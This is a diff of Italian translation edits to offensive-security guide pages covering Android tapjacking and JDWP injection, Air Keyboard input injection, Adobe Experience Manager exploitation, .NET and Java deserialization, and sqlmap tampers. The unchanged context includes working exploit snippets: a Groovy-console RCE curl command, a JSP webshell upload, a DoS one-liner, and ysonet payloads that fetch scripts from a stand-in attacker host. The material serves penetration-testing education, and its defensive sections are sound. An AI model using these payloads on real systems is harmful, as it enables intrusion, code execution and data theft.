+> Il valore creato nel passo 1 interrompe il parser dal “fast-path” e aggiunge un secondo comando sintetico dove `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) è accettato come se fosse stato fornito dal framework. Una volta che l'app è avviata, viene aperto un socket JDWP e trucchi di debug dinamico regolari (sostituzione di metodi, patching di variabili, iniezione live di Frida, ecc.) sono possibili **senza modificare l'APK o l'immagine di avvio del dispositivo**.

 ## Rilevamento e Mitigazione

--- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md
+++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md
@ -5,7 +5,7 @@
 ## **Informazioni di base**

 **Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
-In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
+In effetti, sta **accecato l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.

 ### Rilevamento

@ -45,7 +45,7 @@ Segui le **istruzioni del README per utilizzarla**.

 ### FloatingWindowApp

-Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporsi ad altre attività per eseguire un attacco clickjacking, può essere trovato in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' vecchio, buona fortuna a costruire l'apk).
+Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporsi ad altre attività per eseguire un attacco clickjacking, può essere trovato in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' vecchio, buona fortuna nella costruzione dell'apk).

 ### Qark

@ -56,7 +56,7 @@ Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--

 La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento per sviluppatori Android](https://developer.android.com/reference/android/view/View#security):

-> A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o cliccare su un annuncio. Sfortunatamente, un'applicazione malevola potrebbe cercare di ingannare l'utente per eseguire queste azioni, senza che se ne accorga, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei tocchi che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
+> A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o cliccare su un annuncio. Sfortunatamente, un'applicazione malevola potrebbe cercare di ingannare l'utente nel compiere queste azioni, senza che se ne accorga, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei tocchi che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
 >
 > Per abilitare il filtraggio dei tocchi, chiama [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o imposta l'attributo di layout android:filterTouchesWhenObscured su true. Quando abilitato, il framework scarterà i tocchi ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà tocchi ogni volta che un toast, un dialogo o un'altra finestra appare sopra la finestra della vista.

@ -69,7 +69,7 @@ Oltre al classico Tapjacking, le moderne famiglie di malware bancario Android (a
 ### Come funziona
 1. L'APK malevolo richiede il permesso altamente sensibile `BIND_ACCESSIBILITY_SERVICE`, solitamente nascondendo la richiesta dietro un falso dialogo di Google/Chrome/visualizzatore PDF.
 2. Una volta che l'utente abilita il servizio, il malware simula programmaticamente i tocchi necessari per concedere ulteriori permessi pericolosi (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
-3. Un **WebView** viene inflazionato e aggiunto al gestore delle finestre utilizzando il tipo di finestra **`TYPE_ACCESSIBILITY_OVERLAY`**. L'overlay può essere reso completamente opaco o semi-trasparente e può essere contrassegnato come *“attraverso”* in modo che i tocchi originali vengano comunque consegnati all'attività in background (così la transazione avviene realmente mentre la vittima vede solo il modulo di phishing).
+3. Un **WebView** viene inflazionato e aggiunto al gestore delle finestre utilizzando il tipo di finestra **`TYPE_ACCESSIBILITY_OVERLAY`**. L'overlay può essere reso completamente opaco o semi-trasparente e può essere contrassegnato come *“attraverso”* in modo che i tocchi originali vengano comunque consegnati all'attività di sfondo (così la transazione avviene realmente mentre la vittima vede solo il modulo di phishing).
 ```java
 WebView phishingView = new WebView(getApplicationContext());
 phishingView.getSettings().setJavaScriptEnabled(true);
--- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md
+++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md
@ -25,7 +25,7 @@ nmap -p 8888 --open 192.168.1.0/24
 # Android (weakly-authenticated service)
 nmap -p 55535 --open 192.168.1.0/24
 ```
-Su dispositivi Android puoi identificare il pacchetto responsabile localmente:
+Su dispositivi Android puoi identificare localmente il pacchetto responsabile:
 ```bash
 adb shell netstat -tulpn | grep 55535      # no root required on emulator
 # rooted device / Termux
@ -101,13 +101,13 @@ ws.send(json.dumps({
 ws.close()
 print("[+] URL opened on target browser")
 ```
-*Qualsiasi ASCII stampabile — inclusi i ritorni a capo, i tab e la maggior parte dei tasti speciali — può essere inviato, dando all'attaccante lo stesso potere dell'input utente fisico: avviare app, inviare messaggi, aprire URL malevoli, attivare impostazioni, ecc.*
+*Qualsiasi ASCII stampabile — inclusi i ritorni a capo, i tab e la maggior parte dei tasti speciali — può essere inviato, dando all'attaccante lo stesso potere dell'input fisico dell'utente: avviare app, inviare messaggi, aprire URL malevoli, attivare impostazioni, ecc.*

 ---

 ## 4. Android Companion – Denial-of-Service

-La porta Android (55535) si aspetta una **password di 4 caratteri crittografata con una chiave AES-128-ECB hard-coded** seguita da un nonce casuale. Gli errori di parsing si propagano a `AES_decrypt()` e non vengono catturati, terminando il thread dell'ascoltatore. Un singolo pacchetto malformato è quindi sufficiente per mantenere gli utenti legittimi disconnessi fino a quando il processo non viene rilanciato.
+La porta Android (55535) si aspetta una **password di 4 caratteri crittografata con una chiave AES-128-ECB hard-coded** seguita da un nonce casuale. Gli errori di parsing si propagano a `AES_decrypt()` e non vengono catturati, terminando il thread del listener. Pertanto, un singolo pacchetto malformato è sufficiente per mantenere gli utenti legittimi disconnessi fino a quando il processo non viene rilanciato.
 ```python
 import socket
 socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
@ -120,9 +120,9 @@ Air Keyboard **non è un caso isolato**. Altri strumenti mobili “tastiera/mous

 * **Telepad ≤ 1.0.7** – CVE-2022-45477/78 consentono l'esecuzione di comandi non autenticati e il key-logging in chiaro.
 * **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE non autenticato e traffico di sorveglianza.
-* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 default-no-password, brute-force di PIN deboli e perdita di dati in chiaro.
+* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 senza password di default, brute-force di PIN deboli e perdita di dati in chiaro.

-Questi casi evidenziano una trascuratezza sistemica delle **superfici di attacco esposte in rete sulle app mobili**.
+Questi casi evidenziano una trascuratezza sistemica delle **superfici di attacco esposte in rete nelle app mobili**.

 ---

@ -130,7 +130,7 @@ Questi casi evidenziano una trascuratezza sistemica delle **superfici di attacco

 1. **Nessun controllo di origine / integrità** sui frame in arrivo (iOS).
 2. **Uso improprio della crittografia** (chiave statica, ECB, mancanza di validazione della lunghezza) e **mancanza di gestione delle eccezioni** (Android).
-3. **Autorizzazione di rete locale concessa dall'utente ≠ sicurezza** – iOS richiede consenso in tempo reale per il traffico LAN, ma non sostituisce una corretta autenticazione.
+3. **Il diritto di rete locale concesso dall'utente ≠ sicurezza** – iOS richiede il consenso in tempo reale per il traffico LAN, ma non sostituisce una corretta autenticazione.

 ---

@ -141,7 +141,7 @@ Raccomandazioni per gli sviluppatori:
 * Associare il listener a **`127.0.0.1`** e tunnelizzare tramite **mTLS** o **Noise XX** se è necessario il controllo remoto.
 * Derivare **segreti per dispositivo durante l'onboarding** (ad es., codice QR o PIN di accoppiamento) e imporre *autenticazione reciproca* prima di elaborare l'input.
 * Adottare **Apple Network Framework** con *NWListener* + TLS invece di socket raw.
-* Implementare **controlli di sanità del prefisso di lunghezza** e gestione delle eccezioni strutturate durante la decrittazione o decodifica dei frame.
+* Implementare **controlli di sanità sui prefissi di lunghezza** e gestione delle eccezioni strutturate durante la decrittazione o decodifica dei frame.

 Vittorie rapide per Blue-/Red-Team:

--- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md
+++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md
@ -29,8 +29,8 @@ Percorso | Cosa ottieni | Note
 ---- | ------------- | -----
 `/.json`, `/.1.json` | Nodi JCR tramite **DefaultGetServlet** | Spesso bloccato, ma *Dispatcher bypass* (vedi sotto) funziona.
 `/bin/querybuilder.json?path=/` | API QueryBuilder | Leak dell'albero delle pagine, percorsi interni, nomi utente.
-`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE tramite upload di bundle.
-`/crx/packmgr/index.jsp` | Package Manager | Consente pacchetti di contenuto autenticati → upload di payload JSP.
+`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE di caricamento bundle.
+`/crx/packmgr/index.jsp` | Package Manager | Consente pacchetti di contenuto autenticati → caricamento di payload JSP.
 `/etc/groovyconsole/**` | AEM Groovy Console | Se esposto → esecuzione arbitraria di Groovy / Java.
 `/libs/cq/AuditlogSearchServlet.json` | Log di audit | Divulgazione di informazioni.
 `/libs/cq/ui/content/dumplibs.html` | Dump ClientLibs | Vettore XSS.
@ -40,14 +40,14 @@ La maggior parte dei siti di produzione si trova dietro il *Dispatcher* (reverse
 ```
 GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
 ```
-Una singola richiesta come sopra rivela frequentemente nodi di profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】
+Una singola richiesta come sopra rivela frequentemente nodi del profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】

 ---

 ## 3. Configurazioni errate comuni (ancora attive nel 2025)

 1. **Servlet POST anonimo** – `POST /.json` con `:operation=import` consente di piantare nuovi nodi JCR. Bloccare `*.json` POST nel Dispatcher risolve il problema. 【】
-2. **Profili utente leggibili da tutti** – ACL predefinito concede `jcr:read` su `/home/users/**/profile/*` a chiunque.
+2. **Profili utente leggibili da tutti** – ACL predefinito concede `jcr:read` su `/home/users/**/profile/*` a tutti.
 3. **Credenziali predefinite** – `admin:admin`, `author:author`, `replication:replication`.
 4. **WCMDebugFilter** abilitato ⇒ XSS riflesso tramite `?debug=layout` (CVE-2016-7882, ancora trovato su installazioni legacy 6.4).
 5. **Groovy Console esposta** – esecuzione di codice remoto inviando uno script Groovy:
@ -57,7 +57,7 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov

 ---

-## 4. Vulnerabilità recenti (cadenza dei pacchetti di servizio)
+## 4. Vulnerabilità recenti (cadenza del service pack)

 Trimestre | CVE | Affetti | Impatto
 ------- | --- | -------- | ------
@ -66,13 +66,13 @@ Dic 2024 | CVE-2024-43724/26 | 6.5.21 e precedenti | DOM / XSS memorizzato in Mo
 Dic 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS basato su DOM tramite URL creato. 【】
 Dic 2022 | CVE-2022-30683 | ≤ 6.5.13 | Difetto di design crittografico → decrittazione segreta (richiede credenziali a bassa privilegio). 【】

-Controlla sempre il bollettino *APSB* corrispondente al pacchetto di servizio del cliente e richiedi l'ultima **6.5.22** o *Cloud Service 2024.11*.
+Controlla sempre il bollettino *APSB* corrispondente al service pack del cliente e richiedi l'ultima **6.5.22** o *Cloud Service 2024.11*.

 ---

 ## 5. Frammenti di sfruttamento

-### 5.1 RCE tramite bypass del dispatcher + caricamento JSP
+### 5.1 RCE tramite bypass del dispatcher + upload JSP
 Se la scrittura anonima è possibile:
 ```
 # 1. Create a node that will become /content/evil.jsp
@ -83,7 +83,7 @@ Content-Type: application/x-www-form-urlencoded
 jcr:data=<% out.println("pwned"); %>
 :operation=import
 ```
-Ora richiedi `/content/evil.jsp` – il JSP viene eseguito con l'utente del processo AEM.
+Richiedi `/content/evil.jsp` – il JSP viene eseguito con l'utente del processo AEM.

 ### 5.2 SSRF a RCE (storico < 6.3)
 `/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
@ -102,16 +102,16 @@ python3 aem_hacker.py -u https://target --host attacker-ip

 ---

-## 7. Checklist di indurimento (per le raccomandazioni del tuo rapporto)
+## 7. Lista di controllo per il rafforzamento (per le raccomandazioni del tuo rapporto)

 1. Mantieni l'istanza sulla **versione cumulativa di servizio più recente** (a partire da luglio 2025: 6.5.22).
-2. Rimuovi ruota le credenziali predefinite; applica SSO/SAML.
+2. Rimuovi ruota gli account predefiniti; applica SSO/SAML.
 3. Rendi più rigorosi i **filtri del Dispatcher** – nega `;`, nuove righe codificate e `*.json` o `*.querybuilder.json` per utenti anonimi.
 4. Disabilita o proteggi le console (`/system/console`, `/crx/*`, `/etc/groovyconsole`) con liste di autorizzazione IP.
 5. Applica il pacchetto *Anonymous Permission Hardening* fornito da Adobe.

 ## Riferimenti

-* Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (Dic 2024)”.
+* Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (dic 2024)”.
 * 0ang3el – strumento aem-hacker (GitHub).
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@ -52,13 +52,13 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Nota che devi aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ per caricare `System.Windows.Data`
+Nota che è necessario aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ per caricare `System.Windows.Data`

 ## ExpandedWrapper

-Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process` ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process`, ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

-Questa classe consente di **specificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
+Questa classe consente di **specificare i tipi di oggetti degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
 Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_** all'interno di un'istanza di **_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.

 Puoi controllare questo wrapper con il seguente codice:
@ -192,17 +192,17 @@ Di seguito è riportato un riferimento condensato delle catene più utili fornit

 | Catena di Gadget | Idea Chiave / Primitiva | Serializzatori Comuni | YSoNet one-liner |
 |------------------|-------------------------|-----------------------|------------------|
-| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegato punti a *qualsiasi* metodo fornito dall'attaccante (es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegato punti a *qualsiasi* metodo fornito dall'attaccante (ad es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
 | **ActivitySurrogateSelector** | Sfrutta `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il filtraggio dei tipi .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
 | **DataSetOldBehaviour** | Sfrutta la **rappresentazione XML** legacy di `System.Data.DataSet` per istanziare tipi arbitrari riempiendo i campi `<ColumnMapping>` / `<DataType>` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | Su runtime abilitati WPF (> .NET 5) concatena i getter delle proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, quindi *compila* o *carica* un DLL fornito con `-c` | `Json.NET` senza tipo, `MessagePack` senza tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **GetterCompilerResults** | Su runtime abilitati WPF (> .NET 5) collega i getter delle proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, quindi *compila* o *carica* un DLL fornito con `-c` | `Json.NET` senza tipo, `MessagePack` senza tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
 | **ObjectDataProvider** (revisione) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una variante conveniente `--xamlurl` per ospitare il XAML malevolo in remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *ecc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
 | **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` in `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

 > [!TIP]
-> Tutti i payload sono **scritti su *stdout*** per impostazione predefinita, rendendo banale reindirizzarli in altri strumenti (es. generatori di ViewState, codificatori base64, client HTTP).
+> Tutti i payload sono **scritti su *stdout*** per impostazione predefinita, rendendo banale reindirizzarli in altri strumenti (ad es. generatori di ViewState, codificatori base64, client HTTP).

-### Costruzione / Installazione di YSoNet
+### Costruire / Installare YSoNet

 Se non sono disponibili binari precompilati sotto *Actions ➜ Artifacts* / *Releases*, il seguente **PowerShell** one-liner configurerà un ambiente di build, clonerà il repository e compilerà tutto in modalità *Release*:
 ```powershell
@ -216,7 +216,7 @@ cd ysonet
 nuget restore ysonet.sln
 msbuild ysonet.sln -p:Configuration=Release
 ```
-Il `ysonet.exe` compilato può quindi essere trovato sotto `ysonet/bin/Release/`.
+Il `ysonet.exe` compilato può essere trovato sotto `ysonet/bin/Release/`.

 ### Rilevamento e Indurimento
 * **Rileva** processi figli inaspettati di `w3wp.exe`, `PowerShell.exe`, o qualsiasi processo che deserializza dati forniti dall'utente (ad es. `MessagePack`, `Json.NET`).
@ -225,7 +225,7 @@ Il `ysonet.exe` compilato può quindi essere trovato sotto `ysonet/bin/Release/`
 * Blocca gli assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) dall'essere caricati in processi web che non dovrebbero mai averne bisogno.

 ## Riferimenti
- [YSoNet – Generatore di Payload per Deserializzazione .NET](https://github.com/irsdl/ysonet)
+- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
 - [ysoserial.net – strumento PoC originale](https://github.com/pwntester/ysoserial.net)
 - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)

--- a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
+++ b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
@ -14,7 +14,7 @@ L'interfaccia Java `Serializable` (`java.io.Serializable`) è un'interfaccia mar
 2. `readResolve()` – può sostituire l'oggetto deserializzato con un altro.
 3. `validateObject()` – tramite callback `ObjectInputValidation`.
 4. `readExternal()` – per classi che implementano `Externalizable`.
-5. I costruttori **non** vengono eseguiti – pertanto le catene di gadget si basano esclusivamente sui callback precedenti.
+5. I costruttori **non** vengono eseguiti – quindi le catene di gadget si basano esclusivamente sui callback precedenti.

 Qualsiasi metodo in quella catena che finisce per invocare dati controllati dall'attaccante (esecuzione di comandi, ricerche JNDI, riflessione, ecc.) trasforma la routine di deserializzazione in un gadget RCE.

@ -102,7 +102,7 @@ Come puoi vedere in questo esempio molto basilare, la “vulnerabilità” qui a

 * 2023 – CVE-2023-34040: La deserializzazione degli header dei record di errore di Spring-Kafka quando i flag `checkDeserExWhen*` sono abilitati ha permesso la costruzione arbitraria di gadget da argomenti pubblicati dall'attaccante. Risolto in 3.0.10 / 2.9.11. ¹
 * 2023 – CVE-2023-36480: Assunzione di server fidati del client Java Aerospike rotta – le risposte del server malevole contenevano payload serializzati che sono stati deserializzati dal client → RCE. ²
-* 2023 – CVE-2023-25581: L'analisi degli attributi del profilo utente di `pac4j-core` accettava blob Base64 con prefisso `{#sb64}` e li deserializzava nonostante un `RestrictedObjectInputStream`. Aggiorna ≥ 4.0.0.
+* 2023 – CVE-2023-25581: L'analisi degli attributi del profilo utente di `pac4j-core` accettava blob Base64 con prefisso `{#sb64}` e li deserializzava nonostante un `RestrictedObjectInputStream`. Aggiornare ≥ 4.0.0.
 * 2023 – CVE-2023-4528: Il servizio JSCAPE MFT Manager (porta 10880) accettava oggetti Java codificati in XML portando a RCE come root/SYSTEM.
 * 2024 – Sono state aggiunte nuove catene di gadget a ysoserial-plus(mod) inclusi Hibernate5, TomcatEmbed e classi SnakeYAML 2.x che bypassano alcuni vecchi filtri.

@ -119,9 +119,9 @@ Esempio programmatico:
 var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
 ObjectInputFilter.Config.setSerialFilter(filter);
 ```
-2. **JEP 415 (Java 17+) Fabbriche di Filtri Specifici per Contesto** – usa un `BinaryOperator<ObjectInputFilter>` per applicare filtri diversi per contesto di esecuzione (ad esempio, per chiamata RMI, per consumatore di coda di messaggi).
-3. **Non esporre `ObjectInputStream` grezzo sulla rete** – preferisci codifiche JSON/Binary senza semantiche di esecuzione del codice (Jackson dopo aver disabilitato `DefaultTyping`, Protobuf, Avro, ecc.).
-4. **Limiti di Difesa in Profondità** – Imposta lunghezza massima degli array, profondità, riferimenti:
+2. **JEP 415 (Java 17+) Fabbriche di Filtri Specifici per Contesto** – utilizza un `BinaryOperator<ObjectInputFilter>` per applicare filtri diversi per contesto di esecuzione (ad es., per chiamata RMI, per consumatore di coda di messaggi).
+3. **Non esporre `ObjectInputStream` grezzo sulla rete** – preferire codifiche JSON/Binary senza semantiche di esecuzione del codice (Jackson dopo aver disabilitato `DefaultTyping`, Protobuf, Avro, ecc.).
+4. **Limiti di Difesa in Profondità** – Imposta la lunghezza massima dell'array, la profondità, i riferimenti:
 ```bash
 -Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
 ```
--- a/src/pentesting-web/sql-injection/sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap.md
@ -21,12 +21,12 @@
 --auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
 --proxy=PROXY
 ```
-### Technique flags (`--technique`)
+### Flag delle tecniche (`--technique`)

 L'argomento `--technique` definisce quali metodi di SQL injection sqlmap tenterà. Ogni carattere nella stringa rappresenta una tecnica:

-| Letter | Technique | Description |
-| ------ | --------- | ----------- |
+| Lettera | Tecnica | Descrizione |
+| ------- | ------- | ----------- |
 | B | Boolean-based blind | Usa condizioni true/false per inferire dati |
 | E | Error-based | Sfrutta messaggi di errore DBMS dettagliati per esfiltrare risultati |
 | U | UNION query | Inietta dichiarazioni `UNION SELECT` per recuperare dati tramite lo stesso canale |
@ -135,13 +135,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | Tamper                       | Descrizione                                                                                                                        |
 | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
 | apostrophemask.py            | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8                                            |
-| apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode                                             |
+| apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente unicode illegale a doppio byte                                        |
 | appendnullbyte.py            | Aggiunge un carattere NULL codificato alla fine del payload                                                                         |
-| base64encode.py              | Codifica in Base64 tutti i caratteri in un dato payload                                                                             |
-| between.py                   | Sostituisce l'operatore maggiore di \('&gt;'\) con 'NOT BETWEEN 0 AND \#'                                                         |
+| base64encode.py              | Codifica in Base64 tutti i caratteri in un dato payload                                                                            |
+| between.py                   | Sostituisce l'operatore maggiore di \('&gt;'\) con 'NOT BETWEEN 0 AND \#'                                                        |
 | bluecoat.py                  | Sostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
-| chardoubleencode.py          | Codifica due volte in url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                            |
-| commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                       |
+| chardoubleencode.py          | Codifica in doppio url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                               |
+| commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                      |
 | commalessmid.py              | Sostituisce istanze come 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)'                                                            |
 | concat2concatws.py           | Sostituisce istanze come 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                        |
 | charencode.py                | Codifica in url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                                     |
@ -158,27 +158,27 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | nonrecursivereplacement.py   | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione \(e.g. .replace\("SELECT", ""\)\) filtri |
 | percentage.py                | Aggiunge un simbolo di percentuale \('%'\) davanti a ogni carattere                                                                |
 | overlongutf8.py              | Converte tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                                            |
-| randomcase.py                | Sostituisce ogni carattere della parola chiave con un valore di caso casuale                                                       |
+| randomcase.py                | Sostituisce ogni carattere parola chiave con un valore di caso casuale                                                              |
 | randomcomments.py            | Aggiunge commenti casuali alle parole chiave SQL                                                                                    |
-| securesphere.py              | Aggiunge una stringa appositamente creata                                                                                          |
+| securesphere.py              | Aggiunge una stringa appositamente creata                                                                                            |
 | sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS                                            |
 | space2comment.py             | Sostituisce il carattere di spazio \(' '\) con commenti                                                                            |
-| space2dash.py                | Sostituisce il carattere di spazio \(' '\) con un commento a trattino \('--'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
-| space2hash.py                | Sostituisce il carattere di spazio \(' '\) con un carattere di cancelletto \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
-| space2morehash.py            | Sostituisce il carattere di spazio \(' '\) con un carattere di cancelletto \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
+| space2dash.py                | Sostituisce il carattere di spazio \(' '\) con un commento dash \('--'\) seguito da una stringa casuale e una nuova riga \('\n'\)  |
+| space2hash.py                | Sostituisce il carattere di spazio \(' '\) con un carattere di libbra \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
+| space2morehash.py            | Sostituisce il carattere di spazio \(' '\) con un carattere di libbra \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
 | space2mssqlblank.py          | Sostituisce il carattere di spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi            |
